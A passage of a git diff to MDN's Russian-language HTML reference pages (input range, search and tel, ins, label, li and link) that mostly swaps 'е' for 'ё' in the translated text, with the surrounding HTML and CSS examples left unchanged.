знать.</p> +<p>Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространённые функции и методы, связанные с использованием радиокнопок, о которых Вам нужно знать.</p> <h3 id="Выбор_радиокнопки_по_умолчанию">Выбор радиокнопки по умолчанию</h3> diff --git a/files/ru/web/html/element/input/range/index.html b/files/ru/web/html/element/input/range/index.html index fc14501602..e4f349c376 100644 --- a/files/ru/web/html/element/input/range/index.html +++ b/files/ru/web/html/element/input/range/index.html @@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/input/range <p>Для этого поля нет доступного паттерна валидации, но следующая валидация реализованы следующие проверки</p> <ul> - <li>Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдет ошибка некорректного ввода.</li> + <li>Если значение {{htmlattrxref("value", "input")}} содержит что-то что не может быть конвертированно в число с плавающей точкой, произойдёт ошибка некорректного ввода.</li> <li>Значение не может быть меньше чем {{htmlattrxref("min", "input")}}. По умолчанию: 0.</li> <li> Значение не может быть больше чем {{htmlattrxref("max", "input")}}. По умолчанию: 100.</li> <li>Значение должно кратно {{htmlattrxref("step", "input")}}. По умолчанию: 1.</li> @@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/input/range <pre class="brush: js notranslate">defaultValue = (rangeElem.max < rangeElem.min) ? rangeElem.min : rangeElem.min + (rangeElem.max - rangeElem.min)/2;</pre> -<p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведет к установлению значения равного атрибуту max.</p> +<p>Если предпринята попытка установить значение меньше минимального, то оно примет значение атрибута min. Аналогично, попытка установить значение больше максимального, приведёт к установлению значения равного атрибуту max.</p> <h2 id="Дополнительные_атрибуты">Дополнительные атрибуты</h2> @@ -75,7 +75,7 @@ translation_of: Web/HTML/Element/input/range <tbody> <tr> <td><code>{{anch("list")}}</code></td> - <td>id элемента <datalist>, который содержит предопределенные значение (не обязательно)</td> + <td>id элемента <datalist>, который содержит предопределённые значение (не обязательно)</td> </tr> <tr> <td><code>{{anch("max")}}</code></td> @@ -94,7 +94,7 @@ translation_of: Web/HTML/Element/input/range <p id="htmlattrdeflist">{{page("/en-US/docs/Web/HTML/Element/input/text", "list", 0, 1, 2)}}</p> -<p>Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">управление диапазоном с помощью решетки</a> ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.</p> +<p>Смотрите <a href="https://wiki.developer.mozilla.org/ru/docs/Web/HTML/Element/Input/range$edit#A_range_control_with_hash_marks">управление диапазоном с помощью решётки</a> ниже, для примера того, как параметры диапазона обозначаются в поддерживаемых браузерах.</p> <h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3> @@ -102,7 +102,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3> -<p>Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введенный в элемент, меньше этого значения, то элемент не проходит <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">проверку ограничения</a>. Если значение атрибута <code>min</code> не является числом, то элемент не имеет максимального значения.</p> +<p>Наименьшее значение в диапазоне допустимых значений. Если {{htmlattrxref("value", "input")}}, введённый в элемент, меньше этого значения, то элемент не проходит <a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">проверку ограничения</a>. Если значение атрибута <code>min</code> не является числом, то элемент не имеет максимального значения.</p> <p>Это значение должно быть меньше или равно значению атрибута <code>max</code>.</p> @@ -131,7 +131,7 @@ translation_of: Web/HTML/Element/input/range <dl> <dt>{{htmlattrdef("orient")}} {{non-standard_inline}}</dt> - <dd id="orient-include">Похоже на -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, <code>orient</code> атрибут определяем ориентацию слайдера. Значение <code>horizontal</code>, значит что слайдер будет отображен горизонтально, а <code>vertical</code>- что вертикально .</dd> + <dd id="orient-include">Похоже на -moz-orient не стандартное CSS свойство влияющее на {{htmlelement('progress')}} и{{htmlelement('meter')}} элементы, <code>orient</code> атрибут определяем ориентацию слайдера. Значение <code>horizontal</code>, значит что слайдер будет отображён горизонтально, а <code>vertical</code>- что вертикально .</dd> </dl> <div class="blockIndicator note"> @@ -140,7 +140,7 @@ translation_of: Web/HTML/Element/input/range <h2 id="Examples">Examples</h2> -<p>Пока тип <code>number</code> позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определенное значение. Инпут с типом <code>range</code> позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.</p> +<p>Пока тип <code>number</code> позволяет пользователям вводить число с дополнительными ограничениями, заставляя их значения находиться между максимальным и минимальным, он требует, чтобы они вводили определённое значение. Инпут с типом <code>range</code> позволяет вам запрашивать у пользователя значение в тех случаях, когда пользователь не может даже знать - каково выбранное конкретное числовое значение.</p> <p>Несколько примеров основный ситуаций, в которых инпуты с range используются:</p> @@ -155,7 +155,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="Указание_минимума_и_максимума">Указание минимума и максимума</h3> -<p>По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с легкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.</p> +<p>По умолчанию, минимум равен 0, а максимум равен 100. Если вас это не устраивает, вы можете с лёгкостью указать другие границы, изменив значения атрибутов {{htmlattrxref("min", "input")}} и/или {{htmlattrxref("max", "input")}}. Они могут быть принимать любые значения с плавающей точкой.</p> <p>Например, указать диапазон значений между -10 и 10, вы можете, используя:</p> @@ -185,11 +185,11 @@ translation_of: Web/HTML/Element/input/range <h3 id="Добавление_хэш-меток_и_лейблов">Добавление хэш-меток и лейблов</h3> -<p>Спецификация HTML дает браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.</p> +<p>Спецификация HTML даёт браузерам некоторую гибкость при представлении диапазонных контроллеров. Нигде эта гибкость не проявляется больше, чем в области хэш-меток и, в меньшей степени, лейблов. Спецификация описывает как добавлять кастомные точки контроллера диапазона, используя атрибут {{htmlattrxref("list", "input")}} и элемент {{HTMLElement("datalist")}}, но не имеет требований или рекомендаций по стандартизации хэш-меток и лейблов по длине контроллера.</p> <h4 id="Макеты_контроллера_диапазона">Макеты контроллера диапазона</h4> -<p>Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определенные HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.</p> +<p>Так как браузеры имеют эту гибкость, и на сегодняшний день ни один из них не поддерживает все возможности, определённые HTML, представляем несколько макетов, показывающих как вы можете получить на macOS в браузере, который их поддерживает.</p> <h5 id="Недекорированный_контроллер_диапазона">Недекорированный контроллер диапазона</h5> @@ -327,7 +327,7 @@ translation_of: Web/HTML/Element/input/range <div id="Orientation_sample3"> <h4 id="HTML_2">HTML</h4> -<p>В HTML нужно добавить обертку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> +<p>В HTML нужно добавить обёртку вокруг {{HTMLElement("input")}} - {{HTMLElement("div")}}, что позволит нам исправить макет после выполнения трансформации (т.к. трансформация автоматически не влияет на макет страницы):</p> <pre class="brush: html notranslate"><div class="slider-wrapper"> <input type="range" min="0" max="11" value="7" step="1"> @@ -335,7 +335,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_2">CSS</h4> -<p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обертки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повернутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> +<p>Теперь нам нужно немного CSS. Во-первых, это CSS для самой обёртки; это указание дисплея и размеров для правильного расположения на странице; по сути, он резервирует область страницы для слайдера, так, чтобы можно было поместить повёрнутый слайдер в зарезервированном пространстве, не создавая беспорядка.</p> <pre class="brush: css notranslate">.slider-wrapper { display: inline-block; @@ -372,7 +372,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_3">CSS</h4> -<p>Берем только те инпуты что имеют тип range:</p> +<p>Берём только те инпуты что имеют тип range:</p> <pre class="notranslate">input[type="range"] { -webkit-appearance: slider-vertical; @@ -406,7 +406,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_4">CSS</h4> -<p>Берем только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> +<p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right:</p> <pre class="notranslate">input[type="range"] { writing-mode: bt-lr; @@ -416,7 +416,7 @@ translation_of: Web/HTML/Element/input/range <h3 id="Все_вместе">Все вместе</h3> -<p>Каждый из вышеперечисленных примеров работает в своем браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:</p> +<p>Каждый из вышеперечисленных примеров работает в своём браузере, мы попробуем объединить все вместе чтоб добиться кроссбраузерности решения:</p> <h4 id="HTML_6">HTML</h4> @@ -427,7 +427,7 @@ translation_of: Web/HTML/Element/input/range <h4 id="CSS_5">CSS</h4> -<p>Берем только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> +<p>Берём только те инпуты что имеют тип range, меняем writing mode с default на <code>bt-lr</code>, или bottom-to-top и left-to-right, для Edge и Internet Explorer, и добавляем <code>-webkit-appearance: slider-vertical</code> для всех -webkit-based браузеров:</p> <pre class="notranslate">input[type="range"] { writing-mode: bt-lr; diff --git a/files/ru/web/html/element/input/search/index.html b/files/ru/web/html/element/input/search/index.html index a4307a573b..e870f86c85 100644 --- a/files/ru/web/html/element/input/search/index.html +++ b/files/ru/web/html/element/input/search/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/search --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы с типом <code><strong>search</strong></code> это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, но может отличаться стилизация за счет {{Glossary("user agent")}}, а также наличием специального <strong>не стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы с типом <code><strong>search</strong></code> это текстовые поля разработанные для ввода пользователем поисковых запросов. Функциональность идентична элементам с типом <code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>, но может отличаться стилизация за счёт {{Glossary("user agent")}}, а также наличием специального <strong>не стандартизированного</strong> события </span>{{domxref("HTMLElement/search_event", "onsearch")}}.</p> <div>{{EmbedInteractiveExample("pages/tabbed/input-search.html", "tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/input/tel/index.html b/files/ru/web/html/element/input/tel/index.html index fca5203560..35f2014606 100644 --- a/files/ru/web/html/element/input/tel/index.html +++ b/files/ru/web/html/element/input/tel/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/tel --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элемент типа <code><strong>tel</strong></code> используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<code><a href="/en-US/docs/Web/HTML/Element/input/email"><input type="email"></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/url"><input type="url"></a></code> , введенное значение не проверяется автоматически по определенном формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элемент типа <code><strong>tel</strong></code> используется чтобы разрешить пользователю вводить и редактировать номер телефона. В отличии от<code><a href="/en-US/docs/Web/HTML/Element/input/email"><input type="email"></a></code> и <code><a href="/en-US/docs/Web/HTML/Element/input/url"><input type="url"></a></code> , введённое значение не проверяется автоматически по определённом формату, перед тем как форма может быть отправлена , потому что форматы телефонных номеров сильно различаются по всему миру</span></p> <div>{{EmbedInteractiveExample("pages/tabbed/input-tel.html", "tabbed-standard")}}</div> diff --git a/files/ru/web/html/element/ins/index.html b/files/ru/web/html/element/ins/index.html index 5378c50a55..7115a36be4 100644 --- a/files/ru/web/html/element/ins/index.html +++ b/files/ru/web/html/element/ins/index.html @@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/ins <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешенные</span> <span>родители</span></span></th> + <th scope="row"><span class="short_text" id="result_box" lang="ru"><span>Разрешённые</span> <span>родители</span></span></th> <td><span id="result_box" lang="ru"><span>Любой элемент</span><span>, который принимает</span></span> <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">содержимое фраз</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Любые</td> </tr> <tr> diff --git a/files/ru/web/html/element/label/index.html b/files/ru/web/html/element/label/index.html index b8faa5aa7e..2984769302 100644 --- a/files/ru/web/html/element/label/index.html +++ b/files/ru/web/html/element/label/index.html @@ -14,7 +14,7 @@ translation_of: Web/HTML/Element/label <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Общий поток</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">интерактивный контент, элемент формы</a>, ощутимый контент.</td> </tr> <tr> - <th scope="row">Разрешенный контент</th> + <th scope="row">Разрешённый контент</th> <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Текстовый контент</a>, но без вложенных элементов <code>label</code>. Недопустимы другие оборачиваемые в <code>label </code>элементы помимо целевого.</td> </tr> <tr> @@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/label <td>{{no_tag_omission}}</td> </tr> <tr> - <th scope="row">Разрешенные предки</th> + <th scope="row">Разрешённые предки</th> <td>Любой элемент, разрешающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовый контент.</a></td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Отсутствуют</td> </tr> <tr> @@ -53,7 +53,7 @@ translation_of: Web/HTML/Element/label </dd> <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}} {{obsolete_inline}}</dt> <dd>Элемент формы, с которым связан label (его владелец формы). Если указано, значением атрибута является идентификатор элемента {{HTMLElement ("form")}} в том же документе. Это позволяет размещать элементы label в любом месте документа, а не только как потомки их элементов формы.. - <div class="note">Этот атрибут содержимого был удален из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.</div> + <div class="note">Этот атрибут содержимого был удалён из спецификации HTML 28 апреля 2016 г. Однако сценарии по-прежнему имеют доступ только для чтения {{domxref ("HTMLLabelElement.form")}}; он возвращает форму, членом которой является связанный элемент управления label, или значение NULL, если label не связана с элементом управления или элемент управления не является частью формы.</div> </dd> </dl> diff --git a/files/ru/web/html/element/li/index.html b/files/ru/web/html/element/li/index.html index a87ea6a2b0..115c0c9a4e 100644 --- a/files/ru/web/html/element/li/index.html +++ b/files/ru/web/html/element/li/index.html @@ -10,7 +10,7 @@ translation_of: Web/HTML/Element/li --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary"><strong>HTML-элемент <code><li></code></strong> используется для создания элементов списка.</span> Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счетчика слева, например числа или буквы.</p> +<p><span class="seoSummary"><strong>HTML-элемент <code><li></code></strong> используется для создания элементов списка.</span> Он также должен находиться в родительском элементе: упорядоченном списке ({{HTMLElement("ol")}}), неупорядоченном списке ({{HTMLElement("ul")}}), или меню ({{HTMLElement("menu")}}). В меню и неупорядоченных списках, элементы списка обычно отображаются с маркерами в виде круга. В упорядоченных списках, они обычно отображаются с маркерами в виде возрастающего счётчика слева, например числа или буквы.</p> <div>{{EmbedInteractiveExample("pages/tabbed/li.html", "tabbed-shorter")}}</div> @@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/li <dl> <dt>{{htmlattrdef("value")}}</dt> - <dd>Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешенное значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут <strong>value</strong> не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}). + <dd>Этот числовой атрибут указывает на текущий порядковый номер элемента в списке, заданного с помощью элемента {{HTMLElement("ol")}}. Единственное разрешённое значение этого атрибута — число, даже если список отображается с римскими цифрами или буквами. Элементы списка, которые идут после элемента с таким атрибутом, нумеруются с заданного значения. Атрибут <strong>value</strong> не имеет значения для неупорядоченных списков ({{HTMLElement("ul")}}) или для меню ({{HTMLElement("menu")}}). <div class="note"><strong>Примечание</strong>: Этот атрибут был убран в HTML4, но заново добавлен в HTML5.</div> <div class="note"> @@ -142,7 +142,7 @@ translation_of: Web/HTML/Element/li <h2 id="Поддержка_браузерами">Поддержка браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div> <p>{{Compat("html.elements.li")}}</p> diff --git a/files/ru/web/html/element/link/index.html b/files/ru/web/html/element/link/index.html index 2ae2f1f1df..82be65b592 100644 --- a/files/ru/web/html/element/link/index.html +++ b/files/ru/web/html/element/link/index.html @@ -23,7 +23,7 @@ original_slug: Web/HTML/Element/ссылка <p>В этом простом примере указывается путь к таблице стилей внутри атрибута <code>href</code> и атрибут <code>rel</code> со значением <code>stylesheet</code>. <code>rel</code> означает "отношения (relationship)", и, вероятно, является одной из ключевых особенностей элемента <code><link></code> — значение сообщает как указанный элемент связан с содержащим его документом. Как вы увидите в нашем справочнике <a href="/en-US/docs/Web/HTML/Link_types">типы ссылок</a>, есть много различных видов отношений.</p> -<p>Существует ряд других распространенных типов, с которыми вы столкнетесь. Например, ссылка на сайт иконок:</p> +<p>Существует ряд других распространённых типов, с которыми вы столкнётесь. Например, ссылка на сайт иконок:</p> <pre class="brush: html no-line-numbers notranslate"><link rel="icon" href="favicon.ico"></pre> @@ -44,7 +44,7 @@ original_slug: Web/HTML/Element/ссылка <pre class="brush: html no-line-numbers notranslate"><link rel="preload" href="myFont.woff2" as="font" type="font/woff2" crossorigin="anonymous"></pre> -<p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определенный класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> +<p>Значение <code>rel</code> - <code>preload</code> указывает, что браузер должен предварительно загрузить этот ресурс (смотрите <a href="/en-US/docs/Web/HTML/Preloading_content">Предварительная загрузка контента при помощи rel="preload"</a> для более подробной информации), атрибут <code>as</code> указывает на определённый класс загружаемого контента. Атрибут <code>crossorigin</code> указывает должен ли ресурс загружаться с помощью запроса {{Glossary("CORS")}}.</p> <p>Другие замечания по использованию:</p> @@ -67,9 +67,9 @@ original_slug: Web/HTML/Element/ссылка <dd>Этот перечисляемый атрибут указывает, должен ли {{Glossary("CORS")}} использоваться при загрузки ресурса. <a href="/en-US/docs/Web/HTML/CORS_Enabled_Image">CORS-поддерживаемые изображения</a> могут быть повторно использованы в элементе {{HTMLElement("canvas")}} не <em>искажая </em>их. Допустимы значения: <dl> <dt><code>anonymous</code></dt> - <dd>Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учетные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учетные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}), изображение будет искажено, а его использование ограничено.</dd> + <dd>Cross-origin запрос (т.е. с HTTP-заголовком {{HTTPHeader("Origin")}}) выполняется, но учётные данные не отправляются (т.е. нет cookie, сертификата X.509, или базовой аутентификации HTTP). Если сервер не передал учётные данные исходному сайту (нет настроенного HTTP-заголовка {{HTTPHeader("Access-Control-Allow-Origin")}}), изображение будет искажено, а его использование ограничено.</dd> <dt><code>use-credentials</code></dt> - <dd>Cross-origin запрос (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учетные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажен, а его использование ограничено.</dd> + <dd>Cross-origin запрос (т.е. с HTTP-заголовком <code>Origin</code>) выполняется вместе с отправкой учетных данных (т.е. выполняется аутентификация cookie, сертификата, и/или базового HTTP). Если сервер не передал учётные данные исходному сайту (через HTTP-заголовок {{HTTPHeader("Access-Control-Allow-Credentials")}}), ресурс будет искажён, а его использование ограничено.</dd> </dl> Если атрибут отсутствует, ресурс загружается без запроса {{Glossary("CORS")}} (т.е. без отправки HTTP-заголовка <code>Origin)</code>, предотвращая его незагрязненное использование. В случае невалидности, он обрабатывается как при использовании ключевого слова <strong>anonymous.</strong> Для получения дополнительной информации смотрите <a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a>.</dd> <dt>{{HTMLAttrDef("href")}}</dt> @@ -97,8 +97,8 @@ original_slug: Web/HTML/Element/ссылка <p><strong>Примечания:</strong></p> <ul> - <li>В HTML 4, это может быть только простой, разделенный пробелами, список литералов, описывающих медиа, т.е. <a href="/en-US/docs/Web/CSS/@media">media типы и группы</a>, которые определены и допустимы в качестве значений для этого атрибута, такие как <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это на любые <a href="/en-US/docs/Web/CSS/Media_queries">медиавыражения</a>, которые являются расширенным набором допустимых значений HTML 4.</li> - <li>Браузеры, не поддерживающие <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определенным в HTML 4.</li> + <li>В HTML 4, это может быть только простой, разделённый пробелами, список литералов, описывающих медиа, т.е. <a href="/en-US/docs/Web/CSS/@media">media типы и группы</a>, которые определены и допустимы в качестве значений для этого атрибута, такие как <code>print</code>, <code>screen</code>, <code>aural</code>, <code>braille</code>. HTML5 распространил это на любые <a href="/en-US/docs/Web/CSS/Media_queries">медиавыражения</a>, которые являются расширенным набором допустимых значений HTML 4.</li> + <li>Браузеры, не поддерживающие <a href="/en-US/docs/Web/CSS/Media_queries">CSS3 Media Queries</a>, могут не распознать соответствующую ссылку; не забудьте установить резервные ссылки, ограниченные набором медиавыражений, определённым в HTML 4.</li> </ul> </div> </dd> @@ -109,11 +109,11 @@ original_slug: Web/HTML/Element/ссылка <li><code>no-referrer-when-downgrade</code> означает, что заголовок {{HTTPHeader("Referer")}} не будет отправлен при переходе к источнику без TLS (HTTPS). Это поведение пользовательского агента по умолчанию, если не указано иное.</li> <li><code>origin</code> означает, что реферером будет источник, который соответствует схеме, хосту и порту.</li> <li><code>origin-when-cross-origin</code> означает, что навигация к другим источникам будет ограничена схемой, хостом, портом, в то время как навигация по одному и тому же источнику будет включать путь реферер .</li> - <li><code>unsafe-url</code> означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищенных ресурсов в незащищенные источники.</li> + <li><code>unsafe-url</code> означает, что в качестве источника ссылки будет указываться источник и путь (но не фрагмент, пароль или имя пользователя). Этот вариант небезопасен, потому что он может способствовать утечки источников и путей из TLS-защищённых ресурсов в незащищённые источники.</li> </ul> </dd> <dt>{{HTMLAttrDef("rel")}}</dt> - <dd>Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделенным пробелами списком <a href="/en-US/docs/Web/HTML/Link_types">значений типов ссылки</a>.</dd> + <dd>Этот атрибут определяет отношения связываемого документа и текущего документа. Атрибут должен быть разделённым пробелами списком <a href="/en-US/docs/Web/HTML/Link_types">значений типов ссылки</a>.</dd> <dt>{{HTMLAttrDef("sizes")}}</dt> <dd>Этот атрибут определяет размеры иконки для визуальных медиа, содержащихся в ресурсе. Он должен быть представлен только, если {{HTMLAttrxRef("rel", "link")}} содержит значение <code>icon</code> или нестандартный тип, например <code>apple-touch-icon</code> Apple. Может иметь следующие значения: <ul> @@ -152,7 +152,7 @@ original_slug: Web/HTML/Element/ссылка <dl> <dt>{{HTMLAttrDef("charset")}} {{Obsolete_Inline}}</dt> - <dd>Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделенный пробелами и/или запятыми, как определено в {{rfc(2045)}}. Значение по умолчанию <code>iso-8859-1</code>. + <dd>Этот атрибут определяет кодировку символов связываемого ресурса. Значение представляет собой список наборов символов, разделённый пробелами и/или запятыми, как определено в {{rfc(2045)}}. Значение по умолчанию <code>iso-8859-1</code>. <div class="note"><strong>Примечание по использованию:</strong> Для получения эффекта использования данного устаревшего атрибута, используйте HTTP-заголовок {{HTTPHeader("Content-Type")}} на связываемый ресурс.</div> </dd> <dt>{{HTMLAttrDef("rev")}} {{Obsolete_Inline}}</dt> @@ -160,7 +160,7 @@ original_slug: Web/HTML/Element/ссылка <p><span lang="ru">Значение этого атрибута показывает отношение текущего документа к связываемому документу, как определено атрибутом</span> {{HTMLAttrxRef("href", "link")}}. <span lang="ru">Этот атрибут, таким образом, определяет обратную связь по сравнению со значением атрибута </span><code>rel</code><span lang="ru">. </span><a href="/en-US/docs/Web/HTML/Link_types">Значения типов ссылки </a><span lang="ru">для атрибута аналогичны возможным значениям для</span> {{HTMLAttrxRef("rel", "link")}}.</p> <div class="blockIndicator note"> - <p><strong>Примечание:</strong> Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что <code>rev</code> <em>не</em> считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределенность, полагаться на <code>rev</code> не стоит.</p> + <p><strong>Примечание:</strong> Этот атрибут считается устаревшим жизненным стандартом WHATWG HTML (который является каноничной спецификацией MDN). Однако, стоит отметить, что <code>rev</code> <em>не</em> считается устаревшим в спецификации W3C. Стоит сказать, учитывая неопределённость, полагаться на <code>rev</code> не стоит.</p> </div> </dd> <dd> @@ -187,7 +187,7 @@ original_slug: Web/HTML/Element/ссылка <p>Вы можете указать <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">альтернативные таблицы стилей</a>.</p> -<p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав ее в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> +<p>Пользователь может выбрать, какую таблицу стилей использовать, выбрав её в меню Вид > Стиль страницы. Это позволяет пользователям видеть мультиверсию страницы.</p> <pre class="brush: html no-line-numbers notranslate"><link href="default.css" rel="stylesheet" title="Default Style"> <link href="fancy.css" rel="alternate stylesheet" title="Fancy"> @@ -255,7 +255,7 @@ myStylesheet.onerror = function() { <td>Контент метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">потоковый контент</a> и <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th>Разрешенный контент</th> + <th>Разрешённый контент</th> <td>Нет, это {{Glossary("empty element")}}.</td> </tr> <tr> @@ -263,11 +263,11 @@ myStylesheet.onerror = function() { <td>Так как это пустой элемент, присутствовать должен начальный тэг, конечный - отсутствует.</td> </tr> <tr> - <th>Разрешенные родители</th> + <th>Разрешённые родители</th> <td>Любой элемент, принимающий элементы метаданных. Если есть <a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a>: любой элемент, принимающий <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td> </tr> <tr> - <th scope="row">Разрешенные ARIA роли</th> + <th scope="row">Разрешённые ARIA роли</th> <td>Нет</td> </tr> <tr> diff --git 